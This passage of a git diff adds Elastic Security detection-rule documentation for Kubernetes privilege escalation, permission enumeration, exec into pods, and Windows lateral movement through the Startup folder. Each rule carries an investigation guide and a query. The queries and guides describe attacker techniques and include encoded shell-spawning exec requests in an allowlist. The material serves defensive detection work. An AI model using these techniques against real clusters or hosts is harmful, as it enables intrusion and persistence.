or systems have been affected. +- Enhance monitoring and alerting for similar activities by ensuring audit logs are comprehensive and that alerts are configured to detect unauthorized service account assignments promptly. + +==== Setup + + +The Kubernetes Fleet integration with Audit Logs enabled or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset : "kubernetes.audit_logs" and kubernetes.audit.annotations.authorization_k8s_io/decision:"allow" and +kubernetes.audit.verb : "create" and kubernetes.audit.objectRef.resource : "pods" and +kubernetes.audit.objectRef.namespace : "kube-system" and kubernetes.audit.requestObject.spec.serviceAccountName:*controller and +not kubernetes.audit.requestObject.spec.containers.image:( + mirror.gcr.io/aquasec/trivy* or *amazonaws.com/eks/snapshot-controller* or rancher/mirrored-sig-storage-snapshot-controller* or + public.ecr.aws/eks/aws-load-balancer-controller* or docker.io/bitnami/sealed-secrets-controller* or exoscale/csi-driver* or + registry.k8s.io/autoscaling/vpa-admission-controller* or registry.k8s.io/sig-storage/csi-attacher* or registry.k8s.io/sig-storage/csi-provisioner* +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Valid Accounts +** ID: T1078 +** Reference URL: https://attack.mitre.org/techniques/T1078/ +* Sub-technique: +** Name: Default Accounts +** ID: T1078.001 +** Reference URL: https://attack.mitre.org/techniques/T1078/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-suspicious-self-subject-review-via-unusual-user-agent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-suspicious-self-subject-review-via-unusual-user-agent.asciidoc new file mode 100644 index 0000000000..ea5144456d --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-suspicious-self-subject-review-via-unusual-user-agent.asciidoc @@ -0,0 +1,137 @@ +[[prebuilt-rule-8-19-34-kubernetes-suspicious-self-subject-review-via-unusual-user-agent]] +=== Kubernetes Suspicious Self-Subject Review via Unusual User Agent + +This rule detects when a service account or node attempts to enumerate their own permissions via the selfsubjectaccessreview or selfsubjectrulesreview APIs via an unusual user agent. This is highly unusual behavior for non-human identities like service accounts and nodes. An adversary may have gained access to credentials/tokens and this could be an attempt to determine what privileges they have to facilitate further movement or execution within the cluster. + +*Rule type*: new_terms + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.paloaltonetworks.com/apps/pan/public/downloadResource?pagePath=/content/pan/en_US/resources/whitepapers/kubernetes-privilege-escalation-excessive-permissions-in-popular-platforms +* https://kubernetes.io/docs/reference/access-authn-authz/authorization/#checking-api-access +* https://techcommunity.microsoft.com/t5/microsoft-defender-for-cloud/detecting-identity-attacks-in-kubernetes/ba-p/3232340 + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Discovery +* Resources: Investigation Guide +* Noise: High +* Performance: Fast +* Profile: Aggressive +* Rule Type: New Terms +* Platform: Kubernetes +* Domain: Containers +* Domain: Cloud + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kubernetes Suspicious Self-Subject Review via Unusual User Agent* + + +Kubernetes uses APIs like selfsubjectaccessreview and selfsubjectrulesreview to allow entities to check their own permissions. While useful for debugging, adversaries can exploit these APIs to assess their access level after compromising service accounts or nodes. The detection rule identifies unusual API calls by non-human identities, flagging potential unauthorized privilege enumeration attempts. + + +*Possible investigation steps* + + +- Review the Kubernetes audit logs to identify the specific service account or node that triggered the alert by examining the kubernetes.audit.user.username or kubernetes.audit.impersonatedUser.username fields. +- Check the context of the API call by analyzing the kubernetes.audit.objectRef.resource field to confirm whether it involved selfsubjectaccessreviews or selfsubjectrulesreviews. +- Investigate the source of the API request by looking at the IP address and user agent in the audit logs to determine if the request originated from a known or expected source. +- Assess the recent activity of the implicated service account or node to identify any unusual patterns or deviations from normal behavior. +- Verify if there have been any recent changes to the permissions or roles associated with the service account or node to understand if the access level has been altered. +- Cross-reference the alert with any other security events or alerts in the environment to determine if this is part of a broader attack or compromise. + + +*False positive analysis* + + +- Service accounts used for automated tasks may trigger this rule if they are programmed to check permissions as part of their routine operations. To handle this, identify these accounts and create exceptions for their specific API calls. +- Nodes performing legitimate self-assessment for compliance or security checks might be flagged. Review the node's purpose and, if necessary, whitelist these actions in the detection rule. +- Development or testing environments where permissions are frequently checked by service accounts can generate false positives. Consider excluding these environments from the rule or adjusting the rule's sensitivity for these specific contexts. +- Regularly scheduled jobs or scripts that include permission checks as part of their execution may cause alerts. Document these jobs and adjust the rule to ignore these specific, non-threatening behaviors. + + +*Response and remediation* + + +- Immediately isolate the compromised service account or node by revoking its access tokens and credentials to prevent further unauthorized actions within the cluster. +- Conduct a thorough review of the audit logs to identify any other suspicious activities or access patterns associated with the compromised identity, focusing on any lateral movement or privilege escalation attempts. +- Rotate credentials and tokens for all service accounts and nodes that may have been exposed or compromised, ensuring that new credentials are distributed securely. +- Implement network segmentation and access controls to limit the ability of compromised identities to interact with sensitive resources or other parts of the cluster. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems or data have been affected. +- Enhance monitoring and alerting for similar suspicious activities by tuning detection systems to recognize patterns of unauthorized privilege enumeration attempts. +- Review and update Kubernetes role-based access control (RBAC) policies to ensure that service accounts and nodes have the minimum necessary permissions, reducing the risk of privilege abuse. + +==== Setup + + +The Kubernetes Fleet integration with Audit Logs enabled or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset : "kubernetes.audit_logs" and +kubernetes.audit.annotations.authorization_k8s_io/decision:"allow" and +kubernetes.audit.verb:"create" and +kubernetes.audit.objectRef.resource:("selfsubjectaccessreviews" or "selfsubjectrulesreviews") and ( + kubernetes.audit.user.username:(system\:serviceaccount\:* or system\:node\:*) or + kubernetes.audit.impersonatedUser.username:(system\:serviceaccount\:* or system\:node\:*) +) and user_agent.original:(* and not (*kubernetes/$Format)) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Discovery +** ID: TA0007 +** Reference URL: https://attack.mitre.org/tactics/TA0007/ +* Technique: +** Name: Permission Groups Discovery +** ID: T1069 +** Reference URL: https://attack.mitre.org/techniques/T1069/ +* Sub-technique: +** Name: Cloud Groups +** ID: T1069.003 +** Reference URL: https://attack.mitre.org/techniques/T1069/003/ +* Technique: +** Name: Container and Resource Discovery +** ID: T1613 +** Reference URL: https://attack.mitre.org/techniques/T1613/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-user-exec-into-pod.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-user-exec-into-pod.asciidoc new file mode 100644 index 0000000000..2149258034 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-kubernetes-user-exec-into-pod.asciidoc @@ -0,0 +1,143 @@ +[[prebuilt-rule-8-19-34-kubernetes-user-exec-into-pod]] +=== Kubernetes User Exec into Pod + +This rule detects a user attempt to establish a shell session into a pod using the 'exec' command. Using the 'exec' command in a pod allows a user to establish a temporary shell session and execute any process/commands in the pod. An adversary may call bash to gain a persistent interactive shell which will allow access to any data the pod has permissions to, including secrets. + +*Rule type*: eql + +*Rule indices*: + +* logs-kubernetes.audit_logs-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: None ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://kubernetes.io/docs/tasks/debug/debug-application/debug-running-pod/ +* https://kubernetes.io/docs/tasks/debug/debug-application/get-shell-running-container/ + +*Tags*: + +* Data Source: Kubernetes +* Domain: Kubernetes +* Use Case: Threat Detection +* Tactic: Execution +* Resources: Investigation Guide +* Noise: High +* Performance: Fast +* Profile: Aggressive +* Rule Type: Event Correlation (EQL) +* Platform: Kubernetes +* Domain: Containers +* Domain: Cloud + +*Version*: 212 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Kubernetes User Exec into Pod* + + +Kubernetes allows users to execute commands within a pod using the 'exec' command, facilitating temporary shell sessions for legitimate management tasks. However, adversaries can exploit this to gain unauthorized access, potentially exposing sensitive data. The detection rule identifies such misuse by monitoring audit logs for specific patterns, such as allowed 'exec' actions on pods, indicating possible malicious activity. + + +*Possible investigation steps* + + +- Review the Kubernetes audit logs to identify the user who executed the 'exec' command by examining the event.dataset field for "kubernetes.audit_logs". +- Check the kubernetes.audit.annotations.authorization_k8s_io/decision field to confirm that the action was allowed and determine if the user had legitimate access. +- Investigate the kubernetes.audit.objectRef.resource and kubernetes.audit.objectRef.subresource fields to verify that the action involved a pod and the 'exec' subresource. +- Analyze the context of the pod involved, including its purpose and the data it has access to, to assess the potential impact of the unauthorized access. +- Correlate the event with other logs or alerts to identify any suspicious patterns or repeated unauthorized access attempts by the same user or IP address. +- Review the user's activity history to determine if there are other instances of unusual or unauthorized access attempts within the Kubernetes environment. + + +*False positive analysis* + + +- Routine administrative tasks by DevOps teams can trigger the rule when they use 'exec' for legitimate management purposes. To handle this, create exceptions for specific user accounts or roles that are known to perform these tasks regularly. +- Automated scripts or tools that use 'exec' for monitoring or maintenance can also cause false positives. Identify these scripts and whitelist their associated service accounts or IP addresses. +- Scheduled jobs or cron tasks that require 'exec' to perform updates or checks within pods may be flagged. Exclude these by setting up time-based exceptions for known maintenance windows. +- Development environments where frequent testing and debugging occur using 'exec' can lead to alerts. Implement environment-specific exclusions to reduce noise from non-production clusters. + + +*Response and remediation* + + +- Immediately isolate the affected pod to prevent further unauthorized access or data exposure. This can be done by applying network policies or temporarily scaling down the pod. +- Review the audit logs to identify the user or service account responsible for the 'exec' command and assess whether the access was legitimate or unauthorized. +- Revoke or adjust permissions for the identified user or service account to prevent further unauthorized 'exec' actions. Ensure that only necessary permissions are granted following the principle of least privilege. +- Conduct a thorough investigation of the pod's environment to identify any potential data exposure or tampering. Check for unauthorized changes to configurations, secrets, or data within the pod. +- If unauthorized access is confirmed, rotate any exposed secrets or credentials that the pod had access to, and update any affected systems or services. +- Escalate the incident to the security operations team for further analysis and to determine if additional systems or pods have been compromised. +- Enhance monitoring and alerting for similar 'exec' actions in the future by ensuring that audit logs are continuously reviewed and that alerts are configured to notify the security team of any suspicious activity. + +==== Setup + + +The Kubernetes Fleet integration with Audit Logs enabled or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +any where data_stream.dataset == "kubernetes.audit_logs" and kubernetes.audit.verb in ("get", "create") and +kubernetes.audit.objectRef.subresource == "exec" and kubernetes.audit.stage in ("ResponseComplete", "ResponseStarted") and +kubernetes.audit.level == "Request" and `kubernetes.audit.annotations.authorization_k8s_io/decision` == "allow" and +not ( + (kubernetes.audit.objectRef.namespace == "trident" and kubernetes.audit.objectRef.name like "trident-controller-*") or + (kubernetes.audit.objectRef.namespace == "vuls" and kubernetes.audit.requestURI like "/api/v1/namespaces/vuls/pods/vuls-*/exec?command=sh&command=-c&command=*+%2Fvuls%2Fresults*") or + (kubernetes.audit.objectRef.namespace == "git-runners" and kubernetes.audit.requestURI like ( + "/api/v1/namespaces/git-runners/pods/runner-*/exec?command=sh&command=-c&command=if+%5B+-x+%2Fusr%2Flocal%2Fbin%2Fbash+%5D%3B+then%0A%09exec+%2Fusr%2Flocal%2Fbin%2Fbash+%0Aelif+%5B+-x+%2Fusr%2Fbin%2Fbash+%5D%3B+then%0A%09exec+%2Fusr%2Fbin%2Fbash+%0Aelif+%5B+-x+%2Fbin%2Fbash+%5D%3B+then%0A%09exec+%2Fbin%2Fbash+%0Aelif+%5B+-x+%2Fusr%2Flocal%2Fbin%2Fsh+%5D%3B+then%0A%09exec+%2Fusr%2Flocal%2Fbin%2Fsh+%0Aelif+%5B+-x+%2Fusr%2Fbin%2Fsh+%5D%3B+then%0A%09exec+%2Fusr%2Fbin%2Fsh+%0Aelif+%5B+-x+%2Fbin%2Fsh+%5D%3B+then%0A%09exec+%2Fbin%2Fsh+%0Aelif+%5B+-x+%2Fbusybox%2Fsh+%5D%3B+then%0A%09exec+%2Fbusybox%2Fsh+%0Aelse%0A%09echo+shell+not+found%0A%09exit+1%0Afi%0A%0A&container=*&container=*&stderr=true&stdin=true&stdout=true", + "/api/v1/namespaces/git-runners/pods/runner-*/exec?command=gitlab-runner-helper&command=read-logs&command=--path&command=%2Flogs-*%2Foutput.log&command=--offset&command=0&command=--wait-file-timeout&command=1m0s&container=*&container=*&stderr=true&stdout=true" + )) or + (kubernetes.audit.objectRef.namespace == "elasticsearch-cluster" and kubernetes.audit.requestURI like ( + "/api/v1/namespaces/elasticsearch-cluster/pods/*/exec?command=df&command=-h&container=elasticsearch&stdin=true&stdout=true&tty=true", + "/api/v1/namespaces/elasticsearch-cluster/pods/*/exec?command=df&command=-h&container=elasticsearch&stderr=true&stdout=true", + "/api/v1/namespaces/elasticsearch-cluster/pods/*/exec?command=df&command=-h&container=kibana&stderr=true&stdout=true" + )) or + (kubernetes.audit.objectRef.namespace == "kube-system" and kubernetes.audit.requestURI like ( + "/api/v1/namespaces/kube-system/pods/*/exec?command=%2Fproxy-agent&command=--help&container=konnectivity-agent&stderr=true&stdout=true", + "api/v1/namespaces/kube-system/pods/*/exec?command=cilium&command=endpoint&command=list&command=-o&command=json&container=cilium-agent&stderr=true&stdout=true", + "/api/v1/namespaces/kube-system/pods/*/exec?command=cilium&command=status&command=-o&command=json&container=cilium-agent&stderr=true&stdout=true", + "/api/v1/namespaces/kube-system/pods/*/exec?command=sh&command=-c&command=clear%3B+%28bash+%7C%7C+ash+%7C%7C+sh%29&container=*&stdin=true&stdout=true&tty=true" + )) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Container Administration Command +** ID: T1609 +** Reference URL: https://attack.mitre.org/techniques/T1609/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-lateral-movement-alerts-from-a-newly-observed-source-address.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-lateral-movement-alerts-from-a-newly-observed-source-address.asciidoc new file mode 100644 index 0000000000..3e23a1220a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-lateral-movement-alerts-from-a-newly-observed-source-address.asciidoc @@ -0,0 +1,146 @@ +[[prebuilt-rule-8-19-34-lateral-movement-alerts-from-a-newly-observed-source-address]] +=== Lateral Movement Alerts from a Newly Observed Source Address + +This rule detects source IPs that triggered their first lateral movement alert within the last 10 minutes (i.e., newly observed), while also triggering at least 2 distinct lateral movement detection rules. This surfaces new potentially malicious IPs exhibiting immediate lateral movement behavior. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 10m + +*Searches indices from*: now-7200m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/docs/solutions/security/detect-and-alert/about-detection-rules + +*Tags*: + +* Use Case: Threat Detection +* Rule Type: Higher-Order Rule +* Tactic: Lateral Movement +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: ES|QL +* Domain: Endpoint + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Lateral Movement Alerts from a Newly Observed Source Address* + + +This rule surfaces newly observed, low-frequency source address triggering multiple lateral movement alerts. + +Because the alert has not been seen previously for this rule and host, it should be prioritized for validation to determine +whether it represents a true compromise or rare benign activity. + + +*Investigation Steps* + + +- Identify the source address, affected host, user and review the associated rule name to understand the behavior that triggered the alert. +- Validate the source address and user context under which the activity occurred and assess whether it aligns with normal behavior for that address. +- Refer to the specific rule investigation guide for further actions. + + +*False Positive Considerations* + + +- Administrative scripts or automation tools can trigger behavior-based detections when first introduced. +- Security tooling, IT management agents, or EDR integrations may generate new behavior alerts during updates or configuration changes. +- Development or testing environments may produce one-off behaviors that resemble malicious techniques. + + +*Response and Remediation* + + +- If the activity is confirmed malicious, isolate the affected host to prevent further execution or lateral movement. +- Terminate malicious processes and remove any dropped files or persistence mechanisms. +- Collect forensic artifacts to understand initial access and execution flow. +- Patch or remediate any vulnerabilities or misconfigurations that enabled the behavior. +- If benign, document the finding and consider tuning or exception handling to reduce future noise. +- Continue monitoring the host and environment for recurrence of the behavior or related alerts. + +==== Setup + + + +*Setup* + + +This rule requires the `host.ip` field to be populated. +For **Elastic Defend** events on versions **8.18 and above**, this field is **disabled by default**. + +If you are using **Elastic Defend**, ensure host IP collection is enabled by following the configuration steps in the +https://www.elastic.co/docs/solutions/security/configure-elastic-defend/configure-data-volume-for-elastic-endpoint#host-fields[helper guide]. + + +==== Rule query + + +[source, js] +---------------------------------- +FROM .alerts-security.* METADATA _index + +// Lateral Movement related rules with fields of interest +| where kibana.alert.rule.threat.tactic.name is not null and + source.ip IS NOT NULL and destination.ip is not null and + host.id is not null and KQL("""kibana.alert.rule.threat.tactic.name : "Lateral Movement" and not kibana.alert.rule.tags : "Rule Type: Higher-Order Rule" """) + +// aggregate stats by source.ip +| stats Esql.first_time_seen = MIN(@timestamp), + Esql.alerts_count = count(*), + Esql.unique_rules_count = COUNT_DISTINCT(kibana.alert.rule.name), + Esql.unique_count_host_id = COUNT_DISTINCT(host.id), + Esql.rule_name_values = VALUES(kibana.alert.rule.name), + Esql.user_name_values = VALUES(user.name), + Esql.host_id_values = VALUES(host.id), + Esql.host_ip_values = VALUES(host.ip), + Esql.tactic_name_values = VALUES(kibana.alert.rule.threat.tactic.name) by source.ip + +// values we will need for next filter +| eval isLocal = locate(MV_CONCAT(to_string(Esql.host_ip_values), ","), to_string(source.ip)), + Esql.date_diff = DATE_DIFF("minute", Esql.first_time_seen, now()) + +// at least 2 unique rules from same source.ip and that was first seen in last 5 days +| where Esql.unique_rules_count >= 2 and + // matches are within 10m of the rule execution time to avoid alert duplicates + Esql.date_diff <= 10 and + // make sure source.ip is not equal to host.ip + not isLocal > 0 and + // reduce noise from SCCM, Nessus and alike + Esql.unique_count_host_id <= 3 and Esql.alerts_count <= 20 +| eval host.id = MV_FIRST(Esql.host_id_values), user.name = MV_FIRST(Esql.user_name_values) +| KEEP Esql.*, source.ip, host.id, user.name + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-lateral-movement-alerts-from-a-newly-observed-user.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-lateral-movement-alerts-from-a-newly-observed-user.asciidoc new file mode 100644 index 0000000000..b73eebd692 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-lateral-movement-alerts-from-a-newly-observed-user.asciidoc @@ -0,0 +1,129 @@ +[[prebuilt-rule-8-19-34-lateral-movement-alerts-from-a-newly-observed-user]] +=== Lateral Movement Alerts from a Newly Observed User + +This rule detects multiple lateral movement alerts from a user that was observed for the first time in the previous 5 days of alerts history. Analysts can use this high-order detection to prioritize triage and response. + +*Rule type*: esql + +*Rule indices*: None + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 9m + +*Searches indices from*: now-7200m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/docs/solutions/security/detect-and-alert/about-detection-rules + +*Tags*: + +* OS: Windows +* Use Case: Threat Detection +* Rule Type: Higher-Order Rule +* Tactic: Lateral Movement +* Resources: Investigation Guide +* Noise: Low +* Performance: Normal +* Rule Type: ES|QL +* Platform: Windows +* Domain: Endpoint + +*Version*: 4 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Lateral Movement Alerts from a Newly Observed User* + + +This rule surfaces newly observed, low-frequency source user triggering multiple lateral movement alerts. + +Because the alert has not been seen previously for this rule and host, it should be prioritized for validation to determine +whether it represents a true compromise or rare benign activity. + + +*Investigation Steps* + + +- Identify the source user, affected hosts and review the associated rule name to understand the behavior that triggered the alert. +- Validate the source address and user context under which the activity occurred and assess whether it aligns with normal behavior for that address. +- Refer to the specific rule investigation guide for further actions. + + +*False Positive Considerations* + + +- Administrative scripts or automation tools can trigger behavior-based detections when first introduced. +- Security tooling, IT management agents, or EDR integrations may generate new behavior alerts during updates or configuration changes. +- Development or testing environments may produce one-off behaviors that resemble malicious techniques. + + +*Response and Remediation* + + +- If the activity is confirmed malicious, isolate the affected host to prevent further execution or lateral movement. +- Terminate malicious processes and remove any dropped files or persistence mechanisms. +- Collect forensic artifacts to understand initial access and execution flow. +- Patch or remediate any vulnerabilities or misconfigurations that enabled the behavior. +- If benign, document the finding and consider tuning or exception handling to reduce future noise. +- Continue monitoring the host and environment for recurrence of the behavior or related alerts. + +==== Rule query + + +[source, js] +---------------------------------- +FROM .alerts-security.* METADATA _index + +// Lateral Movement related rules +| where kibana.alert.rule.threat.tactic.name is not null and user.id is not null and + (to_string(user.id) like "S-1-5-21*" or to_string(user.id) like "S-1-12-*") and + host.id is not null and KQL("""kibana.alert.rule.threat.tactic.name : "Lateral Movement" """) and + not KQL("""kibana.alert.rule.tags : "Rule Type: Higher-Order Rule" """) + +// aggregate stats by user.id +| stats Esql.first_time_seen = MIN(@timestamp), + Esql.alerts_count = count(*), + Esql.unique_rules_count = COUNT_DISTINCT(kibana.alert.rule.name), + Esql.unique_count_host_id = COUNT_DISTINCT(host.id), + Esql.rule_name_values = VALUES(kibana.alert.rule.name), + Esql.host_id_values = VALUES(host.id), + Esql.host_ip_values = VALUES(host.ip), + Esql.source_ip_values = VALUES(source.ip), + Esql.process_cmd_line = VALUES(process.command_line), + Esql.tactic_name_values = VALUES(kibana.alert.rule.threat.tactic.name) by user.id, user.name + +// at least 2 unique lateral movement detection rules from same user.id and that was first seen in last 5 days +| eval Esql.date_diff = DATE_DIFF("minute", Esql.first_time_seen, now()) +| where Esql.unique_rules_count >= 2 and + // matches are within 10m of the rule execution time to avoid alert duplicates + Esql.date_diff <= 10 +| eval source.ip = MV_FIRST(Esql.source_ip_values), host.id = MV_FIRST(Esql.host_id_values) +| KEEP Esql.*, user.id, user.name, host.id, source.ip + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Lateral Movement +** ID: TA0008 +** Reference URL: https://attack.mitre.org/tactics/TA0008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-lateral-movement-via-startup-folder.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-lateral-movement-via-startup-folder.asciidoc new file mode 100644 index 0000000000..530d3bbc27 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-34/prebuilt-rule-8-19-34-lateral-movement-via-startup-folder.asciidoc @@ -0,0 +1,184 @@ +[[prebuilt-rule-8-19-34-lateral-movement-via-startup-folder]] +=== Lateral Movement via Startup Folder + +Identifies suspicious file creations in the startup folder of a remote system. An adversary could abuse this to move laterally by dropping a malicious script or executable that will be executed after a reboot or user logon. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file-* +* winlogbeat-* +* logs-windows.sysmon_operational-* +* endgame-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.mdsec.co.uk/2017/06/rdpinception/ +* https://www.elastic.co/security-labs/hunting-for-lateral-movement-using-event-query-language + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Lateral Movement +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Data Source: SentinelOne +* Resources: Investigation Guide +* Noise: Medium +* Performance: Normal +* Rule Type: Event Correlation (EQL) +* Platform: Windows + +*Version*: 316 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Lateral Movement via Startup Folder* + + + +*Possible investigation steps* + + +- What remote Startup-folder write did the alert capture? + - Focus: `file.path`, `file.extension`, `process.name`, `process.pid`, and `process.executable`. + - Implication: escalate when a remote writer plants a scriptable or executable item, especially in ProgramData Startup; lower suspicion only when the Startup item, writer, user, and host identify one bounded deployment or support component. +- What does the planted Startup item contain or point to? + - Focus: `file.name`, `file.size`, `file.Ext.header_bytes`, and `file.Ext.windows.zone_identifier`. + - Implication: escalate on shortcuts, scripts, archives, executables, renamed payloads, or content/header mismatches that could run at logon; lower suspicion when a bounded installer or support shortcut has content and provenance matching the same named tool. +- Does writer and user context identify the same support or deployment component? + - Focus: `user.id`, `user.domain`, `process.command_line`, and `process.parent.name`. + - Hint: for PID 4 SMB writes, recover surrounding SMB connection events to identify `source.ip`; for "mstsc.exe" writes, validate the RDP drive-redirection source through Terminal Services or RDP session logs when available. Missing SMB/RDP telemetry is unresolved, not benign. !{investigate{"description":"","label":"SMB connection events on the host","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"network","valueType":"string"},{"excluded":false,"field":"event.action","queryType":"phrase","value":"connection_accepted","valueType":"string"},{"excluded":false,"field":"destination.port","queryType":"phrase","value":"445","valueType":"string"},{"excluded":false,"field":"process.pid","queryType":"phrase","value":"{{process.pid}}","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Implication: escalate when the account, host, parent, or command line does not explain remote RDP/SMB Startup persistence; lower suspicion when command line, parent, and user-host pairing point to the same bounded component. +- Did the same Startup directory show staging, renames, or cleanup? + - Focus: file events in the same Startup directory on `host.id`, especially `file.directory`, `file.path`, `file.name`, and `file.Ext.original.path`. !{investigate{"description":"","label":"File events in the same Startup directory","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"file","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"file.directory","queryType":"phrase","value":"{{file.directory}}","valueType":"string"}]],"relativeFrom":"now-1h","relativeTo":"now"}} + - Hint: use the directory view to separate one bounded write from broader Startup-folder staging. + - Implication: escalate on multiple writes, renames, mixed payload types, or cleanup artifacts; a single stable artifact narrows scope but does not clear the alert until execution and workflow fit are resolved. +- Has the Startup item executed on the host? + - Focus: process starts on `host.id` where `process.executable` matches the written `file.path`, then review `process.command_line` and `user.id`. !{investigate{"description":"","label":"Process events where the Startup item later executed","providers":[[{"excluded":false,"field":"event.category","queryType":"phrase","value":"process","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"},{"excluded":false,"field":"process.executable","queryType":"phrase","value":"{{file.path}}","valueType":"string"}]],"relativeFrom":"now-24h/h","relativeTo":"now"}} + - Hint: for shortcuts or scripts, exact path matching may miss the launched target; inspect the artifact and search same-host process starts for the referenced interpreter or target path. + - Implication: escalate when the item or referenced target executes, especially under a different user than the writer; no execution yet lowers immediacy, but clears only when writer, artifact, and directory evidence already prove a benign tool. +- If local evidence is suspicious or incomplete, are there related same-host alerts? + - Focus: related alerts for the same `host.id` involving remote services, credentials, execution, discovery, or persistence. !{investigate{"description":"","label":"Alerts associated with the host","providers":[[{"excluded":false,"field":"event.kind","queryType":"phrase","value":"signal","valueType":"string"},{"excluded":false,"field":"host.id","queryType":"phrase","value":"{{host.id}}","valueType":"string"}]],"relativeFrom":"now-48h/h","relativeTo":"now"}} + - Implication: related alerts broaden the case from one Startup write to an intrusion path; no related alerts or an unavailable pivot narrows scope only and cannot close contradictory artifact, writer, or execution evidence. +- Escalate for remotely planted Startup persistence or later execution; close only when writer mechanism, path, artifact, directory, execution, and alert pivots bind to one bounded benign component without contradiction; preserve artifacts and escalate when evidence is mixed or incomplete. + + +*False positive analysis* + + +- Software deployment, break-fix support, enterprise agents, or line-of-business applications can place bounded installers, shortcuts, support utilities, or stable per-user/all-users components in Startup through RDP or SMB. Confirm that `file.path`, `file.name`, `file.extension`, writer process or command line, `user.id`, `host.id`, directory view, and later direct or shortcut-target execution all identify the same bounded component, with no extra staging files or suspicious same-host alerts. Do not close on a role, ticket, or partial 